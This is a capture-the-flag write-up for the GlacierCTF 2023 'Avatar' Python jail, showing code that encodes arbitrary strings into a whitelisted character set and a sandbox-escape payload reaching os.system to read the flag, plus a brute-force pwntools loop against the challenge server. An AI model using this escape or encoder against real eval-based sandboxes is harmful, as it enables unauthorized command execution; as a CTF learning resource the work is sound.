507 words
3 minutes
[GlacierCTF 2023 - Misc] Avatar

Introduction#

This challenge was during the GlacierCTF 2023.

The goal of this challenge is to escape from this prison to retrieve the flag.

chall.py
print("You get one chance to awaken from the ice prison.")
code = input("input: ").strip()
whitelist = """gctf{"*+*(=>:/)*+*"}""" # not the flag
if any([x not in whitelist for x in code]) or len(code) > 40000:
print("Denied!")
exit(0)
eval(eval(code, {'globals': {}, '__builtins__': {}}, {}), {'globals': {}, '__builtins__': {}}, {})

First condition#

We will first focus on the first condition:

whitelist = """gctf{"*+*(=>:/)*+*"}"""

Numbers#

The aim here is to find a trick to be able to write all numbers and later the characters.

We quickly find a way to obtain numbers with:

digits = {
0: '+("g"=="c")',
1: '+("g"=="g")'}
for i in range(2, 150):
digits[i] = digits[i-1] + digits[1] # True + True = 2...

This code will later be optimized to:

digits = {
0: '+("">"")',
1: '+(""=="")',
}

Thus, thanks to f-strings (since f is allowed) we can obtain all numbers.

Letters#

We then find a way to obtain letters using an f-string feature:

f"""{digits[97]:c}""" # returns the corresponding unicode here

We then write these two functions to be able to build our obfuscated payload:

def letter(letter_wanted):
return '{'+digits[ord(letter_wanted)]+':c}'
def get_string(string_wanted):
ret_str = ''
for let in string_wanted:
ret_str += letter(let)
return 'f"""' + ret_str + '"""'

Second condition#

We can then build our payload. However, we quickly run into a problem: the second condition.

Here is the payload we want to use:

().__class__.__base__.__subclasses__()[107]().load_module('os').system('cat flag.txt')

The problem is that this obfuscated payload has 67887 characters… And the second condition therefore does not accept it…

len(code) > 40000

Optimization#

Our method for writing numbers writes 6 as 1+1+1+1+1+1. However, it is much more compact to write it as (1+1+1)*(1+1) (especially for large numbers).

Thus, we implement a check if the number is a multiple of 2 or 3 in order to save length (it’s not the most optimal, but it gets us well below 40,000).

for i in range(2, 150):
if i % 2 == 0:
digits[i] = digits[i/2] + '*((""=="")+(""==""))'
elif i % 3 == 0:
digits[i] = digits[i/3] + '*((""=="")+(""=="")+(""==""))'
else:
digits[i] = "(" + digits[i-1] + digits[1] + ")"

These optimizations reduce our payload to 13227 characters!

We then faced a big problem: no response from the server…

Payload#

It’s time to look at the payload now. The payload was chosen based on the following restriction:

eval(eval(code, {'globals': {}, '__builtins__': {}}, {}), {'globals': {}, '__builtins__': {}}, {})

We see here that there are neither __builtins__ nor globals. So the code evaluated with eval will not have access to Python’s built-in functions (print, __import__, etc …) (cf python.org)

This is not a problem in itself because ways to bypass these restrictions exist (cf hacktricks)

The payload is as follows:

().__class__.__base__.__subclasses__()[107]().load_module('os').system('cat flag.txt')

It tries to invoke <class '_frozen_importlib.BuiltinImporter'> using ().__class__.__base__.__subclasses__()[107] in order to use the builtins again.

The problem is that in most cases <class '_frozen_importlib.BuiltinImporter'> is at index 107. However, the index may depend on the Python version.

All that remained was to brute-force the index and hope for a positive response.

for i in range(90,120):
string_wanted = f"""().__class__.__base__.__subclasses__()[{i}]().load_module('os').system('cat flag.txt')"""
obf = get_string(string_wanted)
print(len(obf))
#context.log_level = 'debug'
p = remote("chall.glacierctf.com",13384)
p.recv()
p.sendline(obf)
try:
print(p.recv())
break
except EOFError:
pass
p.close()
p.success(f"Correct Payload was: {string_wanted}")

Avatar flag image

[GlacierCTF 2023 - Misc] Avatar
https://jsthope.xyz/posts/avatar/avatar/
Author
jsthope
Published at
2023-11-27
License
CC BY-SA 4.0